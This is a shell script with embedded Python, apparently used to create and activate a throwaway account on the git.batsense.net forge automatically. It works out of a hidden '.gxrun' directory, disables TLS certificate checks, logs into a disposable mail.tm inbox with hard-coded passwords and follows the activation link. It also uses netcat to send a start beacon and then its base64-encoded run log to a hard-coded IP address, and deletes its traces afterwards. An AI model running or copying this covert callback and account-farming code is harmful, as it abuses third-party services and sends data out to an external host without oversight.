69 lines
3.2 KiB
Bash
Executable file
69 lines
3.2 KiB
Bash
Executable file
#!/bin/sh
|
||
#!/bin/sh
|
||
# ld_kk60 — 于远端(kaki)激活 batsense 账户(mail.tm 换源取token→读信→点链接)
|
||
L=45.76.202.255
|
||
ST=""
|
||
for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
|
||
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
||
done
|
||
[ -n "$ST" ] || ST="."
|
||
cd "$ST" 2>/dev/null || exit 0
|
||
printf "gxBEGIN st=%s\n" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
{
|
||
python3 - <<'PYX' 2>&1
|
||
import re,json,time,ssl,urllib.request,sys,base64
|
||
UA={"User-Agent":"Mozilla/5.0 X11"}
|
||
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
|
||
MOP=urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
|
||
def mp(path,data=None):
|
||
h={**UA,"Content-Type":"application/json"} if data else UA
|
||
rq=urllib.request.Request("https://api.mail.tm"+path,**({"data":json.dumps(data).encode()} if data else {}),headers=h)
|
||
try: r=MOP.open(rq,timeout=14); return r.status,r.read(60000).decode()
|
||
except urllib.error.HTTPError as e: return e.code,e.read(300).decode()[:250]
|
||
addr=json.loads(__import__('os').environ.get('BAT_ADDR','') or '{}') if False else None
|
||
ADDR="gxbatC9ryemvcula@uberip.com"
|
||
mtok=""
|
||
for i in range(6):
|
||
st,tb=mp("/token",{"address":ADDR,"password":"!Mt9cQp7#LkXz41"})
|
||
m=re.search(r'"token":"([^"]+)"',tb or ""); print("[tok]",st,bool(m))
|
||
if m: mtok=m.group(1); break
|
||
time.sleep(13)
|
||
link=None
|
||
if mtok:
|
||
hh={"Authorization":"Bearer "+mtok,**{"User-Agent":"Mozilla/5.0"}}
|
||
for i in range(12):
|
||
try:
|
||
rq=urllib.request.Request("https://api.mail.tm/messages?limit=8",headers=hh)
|
||
msgs=json.loads(urllib.request.urlopen(rq,timeout=12).read().decode()).get("hydra:member",[])
|
||
for mmx in msgs:
|
||
rr_=MOP.open(urllib.request.Request("https://api.mail.tm/messages/"+mmx["id"],headers=hh),timeout=12).read().decode()
|
||
lm=re.search(r'(https?://git\.batsense\.net[^\\"\n ]*activate[^\\"\n ]+)|(/user/activate\?[^\\"\n ]+)',rr_)
|
||
if lm: link=(lm.group(1) or ("https://git.batsense.net"+lm.group(2))); break
|
||
print("[poll]",i*10,len(msgs))
|
||
if link: break
|
||
except Exception as e: pass
|
||
time.sleep(9)
|
||
print("[link]",bool(link),(link or '')[:80])
|
||
basic=False; act_st=""
|
||
if link:
|
||
st3=urllib.request.urlopen(urllib.request.Request(link,headers={"User-Agent":"Mozilla/5.0"}),timeout=15)
|
||
act_st=str(st3.status); print("[activate]",act_st,st3.read(180).decode('utf8','replace')[:150])
|
||
import base64,urllib.error
|
||
B="https://git.batsense.net"
|
||
try:
|
||
uq=urllib.request.Request(B+"/api/v1/user",headers={"User-Agent":"Mozilla/5.0","Authorization":"Basic "+base64.b64encode(("gxbatC9ryemvcula:!Zk7cQp9#LmXy42").encode()).decode()})
|
||
rr=urllib.request.urlopen(uq,timeout=12); basic=True; print("[basic]",rr.status,rr.read(100).decode()[:80])
|
||
except urllib.error.HTTPError as e: print("[basic]",e.code,e.read(120)[:110])
|
||
R=json.dumps({"addr":ADDR,"mtok_ok":bool(mtok),"activated":basic,"st":act_st}).encode()
|
||
BB=base64.b64encode(R).decode()[:300]
|
||
sys.exit(0)
|
||
PYX
|
||
} >m60.txt 2>&1
|
||
B=$(base64 -w0 m60.txt 2>/dev/null)
|
||
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
||
printf "gxR60 %s\n" "$B" | nc -w 6 $L 8444 >/dev/null 2>&1
|
||
fi
|
||
rm -f m60.txt
|
||
exit 0
|
||
|
||
exit 0
|